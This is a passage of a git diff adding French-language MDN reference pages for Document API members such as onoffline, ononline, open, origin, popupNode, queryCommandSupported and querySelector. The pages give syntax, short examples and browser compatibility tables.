+   <td>{{CompatGeckoDesktop("47")}}<sup>[1] </sup> (behind <code>full-screen-api.unprefix.enabled</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support basique</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("47")}}<sup> [1]</sup> (behind <code>full-screen-api.unprefix.enabled</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Depuis Firefox 49, c'était techniquement sur {{domxref("GlobalEventHandlers")}}, mais certains gestionnaires d'événements n'étaient jamais appelés lorsqu'un {{domxref("Element")}} était défini.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{event("fullscreenchange")}}</li>
+ <li>{{domxref("Document.onfullscreenerror")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/onoffline/index.html b/files/fr/web/api/document/onoffline/index.html
new file mode 100644
index 0000000000..c8bfb9026a
--- /dev/null
+++ b/files/fr/web/api/document/onoffline/index.html
@@ -0,0 +1,13 @@
+---
+title: Document.onoffline
+slug: Web/API/Document/onoffline
+tags:
+  - API
+  - DOM
+  - Document
+  - Propriétés
+translation_of: Web/API/Document/onoffline
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Le gestionnaire d'évènements est appelé lorsqu'un évènement {{event("offline")}} est lancé sur le corps (<em>body</em>) et propagé, quand la propriété <a href="https://developer.mozilla.org/fr/docs/Web/API/NavigatorOnLine/onLine">navigator.onLine</a> change et devient <code>false</code> (<em>fausse</em>).</p>
diff --git a/files/fr/web/api/document/ononline/index.html b/files/fr/web/api/document/ononline/index.html
new file mode 100644
index 0000000000..ba10ffd969
--- /dev/null
+++ b/files/fr/web/api/document/ononline/index.html
@@ -0,0 +1,39 @@
+---
+title: Document.ononline
+slug: Web/API/Document/ononline
+tags:
+  - API
+  - DOM
+  - Document
+  - En ligne
+  - Propriétés
+translation_of: Web/API/Document/ononline
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Un évènement "<code>online</code>" est lancé sur le <code>&lt;body&gt;</code> (<em>corps</em>) de chaque page quand le navigateur bascule entre les modes online (<em>en ligne</em>) et offline (<em>hors ligne</em>). De plus les évènements se propagent de <code>document.body</code> vers <code>document</code> et finalement sur <code>window</code>. Les deux évènements ne sont pas annulables (vous ne pouvez pas empêcher l'utilisateur de se connecter ou de vous déconnecter).</p>
+
+<p>window.navigator.onLine renvoie un booléen <em>true</em> (<em>vrai</em>) si le navigateur est online et false s'il est définitivement offline (déconnecté du réseau). Les évènements online et offline sont lancés si la valeur de cet attribut change.</p>
+
+<div class="note">
+<p>Il est important de noter que cet événement et cet attribut sont intrinsèquement peu fiables. Un ordinateur peut être connecté à un réseau sans avoir accès à Internet.</p>
+</div>
+
+<p>Vous pouvez enregistrer les écouteurs de ces événements de plusieurs manières habituelles :</p>
+
+<ul>
+ <li>en utilisant <code><a href="https://developer.mozilla.org/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener">addEventListener</a></code> sur <code>window</code>, <code>document</code> ou <code>document.body</code></li>
+ <li>en définissant les propriétés <code>.ononline</code> ou <code>.onoffline</code> sur <code>document</code> ou <code>document.body</code> sur un objet  <code>Function</code> JavaScript. (<strong>Note :</strong> l'utilisation de <code>window.ononline</code> ou <code>window.onoffline</code> ne fonctionnera pas pour des raisons de compatibilité).</li>
+ <li>en spécifiant les attributs <code>ononline="..."</code> ou <code>onoffline="..."</code> sur la balise <code>&lt;body&gt;</code>  dans le balisage HTML.</li>
+</ul>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<p>Il existe  <a class="external link-https external-icon" href="https://bugzilla.mozilla.org/attachment.cgi?id=220609">un cas de test simple</a> que vous pouvez exécuter pour vérifier le fonctionnement des évènements.</p>
+
+<h2 id="Example" name="Example">Références</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/API/NavigatorOnLine/%C3%89v%C3%A8nements_online_et_offline">Évènements online et offline</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#event-online">Spécification</a> <a href="http://www.whatwg.org/specs/web-apps/current-work/#event-online">WHATWG Web App</a> (en)</li>
+</ul>
diff --git a/files/fr/web/api/document/open/index.html b/files/fr/web/api/document/open/index.html
new file mode 100644
index 0000000000..a4b16f90e4
--- /dev/null
+++ b/files/fr/web/api/document/open/index.html
@@ -0,0 +1,118 @@
+---
+title: document.open
+slug: Web/API/Document/open
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Reference
+translation_of: Web/API/Document/open
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+
+<p>La méthode <strong><code>document.open()</code></strong> ouvre un document pour <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/write">l'écriture</a>.</p>
+
+<h2 id="Syntaxe" name="Syntaxe">Syntaxe</h2>
+
+<pre class="eval">document.open();
+</pre>
+
+<h2 id="Exemple" name="Exemple">Exemple</h2>
+
+<pre>// Dans cet exemple, le contenu du document est
+// écrasé au cours de la réinitialisation avec open()
+document.write("&lt;html&gt;&lt;p&gt;supprimez-moi&lt;/p&gt;&lt;/html&gt;");
+document.open();
+// Le document est vide.
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p>Si un document existe dans la cible, cette méthode le supprime (voir l'exemple ci-dessus).</p>
+
+<p>Par ailleurs, un appel automatique à <code>document.open()</code> est réalisé lorsque <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/write">document.write()</a> est appelé après que la page ait été chargée, bien que ce ne soit pas défini dans la spécification du W3C. <span class="comment">documenter les paramètres à document.open ne figurant pas dans la spécification</span></p>
+
+<p>Cette méthode ne doit pas être confondue avec <a href="https://developer.mozilla.org/fr/docs/Web/API/Window/open">window.open()</a>. <code>document.open</code> permet d'écrire par dessus le document courant ou d'y ajouter du contenu, alors que <code>window.open</code> fournit une manière d'ouvrir une nouvelle fenêtre laissant le document courant intact. Comme <code>window</code> est l'objet, si on appelle juste <code>open(...)</code>, il sera traité comme un appel à <code>window.open(...)</code>. Le document ouvert peut être fermé à l'aide de <a href="https://developer.mozilla.org/fr/docs/Web/API/Document/close">document.close()</a>.</p>
+
+<p>Voir <a href="https://developer.mozilla.org/fr/docs/Mozilla/Gecko/Script_security#Security_checks" title="en/Security check basics">Security check basics</a>  pour plus d'informations sur les principaux.</p>
+
+<p>Si vous ne voulez pas créer une entrée d'historique, remplacez <code>open()</code> par <code>open("text/html", "replace")</code>.</p>
+
+<h2 id="Sp.C3.A9cification" name="Sp.C3.A9cification">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-72161170", "document.open()")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Notes_propres_à_Gecko">Notes propres à Gecko</h2>
+
+<p><span id="result_box" lang="fr"><span>À partir de Gecko 1.9, cette méthode est soumise à la même règle d'origine que les autres propriétés et ne fonctionne pas si cela change l'origine du document.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>À partir de Gecko 1.9.2, <code>document.open()</code> utilise le <a href="https://developer.mozilla.org/fr/docs/Mozilla/Gecko/Script_security#Security_checks">principal</a> du document dont il utilise l'URI, au lieu de récupérer le principal hors de la pile.</span> <span>Par conséquent, vous ne pouvez plus appeler {{domxref ("document.write ()")}} dans un document non approuvé à partir de chrome, même en utilisant <code><a href="https://developer.mozilla.org/fr/docs/wrappedJSObject">wrappedJSObject</a></code>.</span></span></p>
diff --git a/files/fr/web/api/document/origin/index.html b/files/fr/web/api/document/origin/index.html
new file mode 100644
index 0000000000..54fed5b8e3
--- /dev/null
+++ b/files/fr/web/api/document/origin/index.html
@@ -0,0 +1,106 @@
+---
+title: Document.origin
+slug: Web/API/Document/origin
+tags:
+  - API
+  - DOM
+  - Document
+  - Propriétés
+  - origine
+translation_of: Web/API/Document/origin
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<p>La propriété en lecture seule <strong><code>Document.origin</code></strong> renvoie l'origine du document. Dans la plupart des cas, cette propriété est équivalente à  <code>document.defaultView.location.origin</code>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var origin = document.origin;
+// Sur cette page, renvoie:'https://developer.mozilla.org'
+
+var origin = document.origin;
+// Sur "about:blank", renvoie :'null'
+
+var origin = document.origin;
+// Sur "data:text/html,&lt;b&gt;foo&lt;/b&gt;", renvoie :'null'
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-origin', 'Document.origin')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#origin:document', 'origin for Document objects')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(41)}}</td>
+   <td>{{CompatNo}} {{bug(931884)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>La propriété {{domxref("URLUtils.origin")}}.</li>
+</ul>
diff --git a/files/fr/web/api/document/popupnode/index.html b/files/fr/web/api/document/popupnode/index.html
new file mode 100644
index 0000000000..8b6af6e137
--- /dev/null
+++ b/files/fr/web/api/document/popupnode/index.html
@@ -0,0 +1,43 @@
+---
+title: Document.popupNode
+slug: Web/API/Document/popupNode
+tags:
+  - API
+  - DOM
+  - Document
+  - Fenêtre contextuelle
+  - Propriétés
+  - XUL
+translation_of: Web/API/Document/popupNode
+---
+<div>{{ApiRef("DOM")}}{{deprecated_header}}</div>
+
+<div class="note"><strong>Note :</strong> À partir de {{Gecko("2.0")}}, les auteurs sont encouragés à utiliser la propriété <a href="/fr/docs/Mozilla/Tech/XUL/menupopup">menupopup </a>triggerNode à la place.</div>
+
+<p>Quand une fenêtre contextuelle attachée via les attributs <code>popup</code> ou <code>context</code> est ouverte, la propriété <code>popupNode</code> du document XUL est définie sur le noeud sur lequel vous avez cliqué. <span id="result_box" lang="fr"><span>Il sera la cible de l'événement de souris qui a activé la fenêtre contextuelle.</span> <span>Si elle a été ouverte avec le clavier, le nœud contextuel peut être défini sur null.</span> <span>En règle générale, cette propriété sera vérifiée au cours de la gestion des événements par popupshowing, un menu contextuel pour initialiser le menu basé sur le contexte.</span></span></p>
+
+<p>Cette propriété est uniquement définie pour les fenêtres contextuelles attachées via les attributs <code>popup</code> ou <code>context</code>. Pour les autres types, la valeur n'est pas modifiée. Dans ces autres cas, par exemple lors de l'appel de la méthode <a href="/fr/docs/Mozilla/Tech/XUL/M%C3%A9thodes/showPopup">showPopup</a> de la fenêtre contextuelle, vous pouvez définir la propriété <code>popupNode</code> directement au préalable.</p>
+
+<p>Cette propriété s'applique seulement aux documents XUL.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var <var>node</var> = <var>document</var>.popupNode;
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: xml">&lt;menupopup id="toolbarContextMenu"&gt;
+  ...
+  &lt;menuitem oncommand="mailNewsCore.deleteButton(document.popupNode)"&gt;
+  ...
+&lt;/menupopup&gt;
+</pre>
+
+<p>Voir <a class="external" href="http://www.mozilla.org/xpfe/xptoolkit/popups.html" rel="freelink">http://www.mozilla.org/xpfe/xptoolkit/popups.html</a></p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Défini dans {{Source("dom/public/idl/xul/nsIDOMXULDocument.idl#48", "nsIDOMXULDocument.idl")}}. méthode spécifique XUL. Ne fait partie d'aucune spécification.</li>
+</ul>
diff --git a/files/fr/web/api/document/preferredstylesheetset/index.html b/files/fr/web/api/document/preferredstylesheetset/index.html
new file mode 100644
index 0000000000..969a9b39b0
--- /dev/null
+++ b/files/fr/web/api/document/preferredstylesheetset/index.html
@@ -0,0 +1,48 @@
+---
+title: Document.preferredStyleSheetSet
+slug: Web/API/Document/preferredStyleSheetSet
+tags:
+  - API
+  - CSSOM
+  - Document
+  - Feuilles de style
+  - Propriétés
+  - Reference
+translation_of: Web/API/Document/preferredStyleSheetSet
+---
+<div>{{APIRef("DOM")}}{{gecko_minversion_header("1.9")}}</div>
+
+<p>Retourne la feuille de style préférée, telle que définie par l'auteur de la page.</p>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>preferredStyleSheetSet</var> = document.preferredStyleSheetSet
+</pre>
+
+<p>Au retour, <code>preferredStyleSheetSet</code> indique la feuille de style préférée par l'auteur. Ceci est déterminé par l'ordre des déclarations des feuilles de style et par l'entête HTTP intitulé <code>Default-Style</code>.</p>
+
+<p>En l'absence de feuille de style préférée, une chaine vide ("") est retournée.</p>
+
+<h2 id="Example" name="Example">Exemple</h2>
+
+<pre class="brush: js">if (document.preferredStyleSheetSet) {
+  console.log("La feuille de style préférée est : " + document.preferredStyleSheetSet);
+} else {
+  console.log("Il n'y a pas de feuille de style préférée.");
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Spécifications</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets" title="http://www.whatwg.org/specs/web-apps/current-work/#alternate-style-sheets">HTML5: Alternate Style Sheets</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("document.lastStyleSheetSet")}}</li>
+ <li>{{domxref("document.selectedStyleSheetSet")}}</li>
+ <li>{{domxref("document.styleSheetSets")}}</li>
+ <li>{{domxref("document.enableStyleSheetsForSet()")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/querycommandstate/index.html b/files/fr/web/api/document/querycommandstate/index.html
new file mode 100644
index 0000000000..7875db98fb
--- /dev/null
+++ b/files/fr/web/api/document/querycommandstate/index.html
@@ -0,0 +1,101 @@
+---
+title: Document.queryCommandState()
+slug: Web/API/Document/queryCommandState
+tags:
+  - API
+  - DOM
+  - Document
+translation_of: Web/API/Document/queryCommandState
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">queryCommandState(String command)
+</pre>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>TBD</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#execcommand()','execCommand')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>{{domxref("document.designMode")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/Web/Guide/HTML/Editable_content/Rich-Text_Editing_in_Mozilla">Rich-Text Editing in Mozilla</a></li>
+ <li>Les bogues du navigateur liés à <code>queryCommandState()</code>: <a href="https://github.com/guardian/scribe/blob/master/BROWSERINCONSISTENCIES.md#documentquerycommandstate">Scribe's "Browser Inconsistencies" documentation</a></li>
+</ul>
diff --git a/files/fr/web/api/document/querycommandsupported/index.html b/files/fr/web/api/document/querycommandsupported/index.html
new file mode 100644
index 0000000000..a46e4374d5
--- /dev/null
+++ b/files/fr/web/api/document/querycommandsupported/index.html
@@ -0,0 +1,125 @@
+---
+title: Document.queryCommandSupported()
+slug: Web/API/Document/queryCommandSupported
+tags:
+  - API
+  - Commandes
+  - DOM
+  - Document
+  - Méthodes
+  - editeur
+translation_of: Web/API/Document/queryCommandSupported
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>La méthode <code><strong>Document.queryCommandSupported()</strong></code> indique si la commande d'éditeur spécifiée est prise en charge par le navigateur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>isSupported</var> = document.queryCommandSupported(<var>command</var>);
+</pre>
+
+<dl>
+ <dt>
+ <h3 id="Paramètres">Paramètres</h3>
+ </dt>
+ <dt><code>command</code></dt>
+ <dd>La commande pour laquelle on veut déterminer si elle est prise en charge.</dd>
+</dl>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Renvoie un {{jsxref("Boolean")}} qui est <code>true</code> (<em>vrai</em>) si la commande est prise en charge et <code>false</code> (<em>faux</em>) sinon.</p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>La commande <code>'paste'</code> (<em>coller</em>) renvoie <code>false</code> (<em>faux</em>), pas seulement si la fonctionnalité n'est pas disponible, mais également si le script l'appelant a des privilèges insuffisants pour réaliser l'action <a href="#note1">[1]</a>.</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">var flg = document.queryCommandSupported("SelectAll");
+
+if(flg) {
+  // ...Faire quelque chose
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML Editing','#querycommandsupported()','querycommandsupported')}}</td>
+   <td>{{Spec2('HTML Editing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>17</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("9.0")}}<sup>[1]</sup></td>
+   <td>4.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>6.1.6</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("9.0")}}<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Avant Firefox 41, pour la commande <code>'paste'</code> (<em>coller</em>), Firefox renvoyait incorrectement <code>true</code> (<em>vrai</em>) quand la fonctionnalité coller était disponible même si le script appelant avait des privilèges insuffisants pour réaliser l'action.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Document.execCommand()")}}</li>
+ <li>{{domxref("Document.queryCommandEnabled()")}}</li>
+</ul>
diff --git a/files/fr/web/api/document/queryselector/index.html b/files/fr/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..b466aaad25
--- /dev/null
+++ b/files/fr/web/api/document/queryselector/index.html
@@ -0,0 +1,178 @@
+---
+title: document.querySelector
+slug: Web/API/Document/querySelector
+tags:
+  - API
+  - CSS
+  - DOM
+  - Document
+  - JavaScript
+  - Méthodes
+  - Sélecteurs
+  - Échappement
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>La méthode <code><strong>querySelector()</strong></code> de l'interface {{domxref("Document")}} retourne le premier {{domxref("Element")}} dans le document correspondant au sélecteur - ou groupe de sélecteurs - spécifié(s), ou <code>null</code> si aucune correspondance n'est trouvée.</p>
+
+<div class="note">
+<p><strong>Note :</strong> La correspondance <span id="result_box" lang="fr"><span>est effectuée en utilisant le parcours pré-ordonné profondeur-d'abord des nœuds du document, en partant du premier élément dans le balisage du document et en itérant à travers les nœuds en séquence, par ordre du compte de nœuds enfants.</span></span></p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Syntaxe</h2>
+
+<pre class="brush: js">element = document.querySelector(sélecteurs);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>selectors</code> (sélecteurs)</dt>
+ <dd>une  {{domxref("DOMString")}} (<em>chaîne de caractères</em>) qui contient un ou plusieurs sélecteurs à comparer. La chaîne doit être composée de sélecteurs CSS valides ; sinon une exception <code>SYNTAX_ERR</code> est lancée. Voir <a href="https://developer.mozilla.org/fr/docs/Web/API/Document_Object_Model/Localisation_des_%C3%A9l%C3%A9ments_DOM_avec_les_s%C3%A9lecteurs">Localisation des éléments DOM avec les sélecteurs</a> pour plus d'informations sur les sélecteurs et leur gestion.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note :</strong> les caractères qui n'appartiennent pas à la syntaxe standard CSS doivent être échappés par un antislash ("\"). Puisque JavaScript utilise aussi cette barre pour l'échappement, une attention particulière est nécessaire quand des chaînes comprennent ces caractères. Voir {{anch("Caractère spécial d'échappement")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="Valeur_retournée">Valeur retournée</h3>
+
+<p>Un objet {{domxref("Element")}} représentant le premier élément dans le document qui corresponde au jeu de <a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS">sélecteurs CSS</a> spécifié, ou <code>null</code> s'il n'y a pas de correspondances.</p>
+
+<p>Si vous avez besoin d'une liste de tous les éléments correspondant aux sélecteurs spécifiés, vous devez utiliser {{domxref("Document.querySelectorAll", "querySelectorAll()")}} à la place.</p>
+
+<h3 id="Exception">Exception</h3>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>La syntaxe des sélecteurs spécifiés est invalide.</dd>
+</dl>
+
+<h2 id="Notes" name="Notes">Notes d'utilisation</h2>
+
+<p>Si le sélecteur correspond à un ID et que cet ID est utilisé de façon erronée plusieurs fois dans le document, le premier élément en correspondance est retourné.</p>
+
+<p>Les <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Pseudo-elements">pseudo-éléments</a> CSS ne retourneront jamais aucun élément, comme spécifié dans l'<a href="http://www.w3.org/TR/selectors-api/#grammar">API des sélecteurs</a> (en).</p>
+
+<h3 id="Caractère_spécial_d'échappement"><a id="Caractère spécial d'échappement" name="Caractère spécial d'échappement"></a>Caractère spécial d'échappement</h3>
+
+<p>Pour faire correspondre un ID (<em>identifiant</em>) ou un sélecteur qui ne respecte pas la syntaxe CSS (en utilisant un point virgule ou un espace par exemple), vous devez échapper le caractère avec un antislash (\). Comme l'antislash est un caractère d'échappement en JavaScript, si vous entrez une chaîne de caractères littérale, vous devez donc l'échapper <em>deux fois</em> (une pour la chaîne de caractères JavaScript et une autre fois pour <code>querySelector</code>) :</p>
+
+<pre class="brush: html">&lt;div id="machin\bidule"&gt;&lt;/div&gt;
+&lt;div id="machin:bidule"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  console.log('#machin\bidule')               // "#machinidule" <code>(\b est le caractère de contrôle retour arrière)</code>
+  document.querySelector('#machin\bidule')    // ne correspond à rien
+
+  console.log('#machin\\bidule')              // "#machin\bidule"
+  console.log('#machin\\\\bidule')            // "#machin\\bidule"
+  document.querySelector('#machin\\\\bidule') // correspond au premier div
+
+  document.querySelector('#machin:bidule')    // ne correspond à rien
+  document.querySelector('#machin\\:bidule')  // correspond au second div
+&lt;/script&gt;
+</pre>
+
+<h2 id="Exemple" name="Exemple">Exemples</h2>
+
+<h3 id="Trouver_le_premier_élément_correspondant_à_une_classe">Trouver le premier élément correspondant à une classe</h3>
+
+<p>Dans cet exemple, le premier élément dans le document qui contient la classe "<code>maclasse</code>" est retourné :</p>
+
+<pre class="brush: js">var el = document.querySelector(".maclasse");</pre>
+
+<h3 id="Notes" name="Notes">Un sélecteur plus complexe</h3>
+
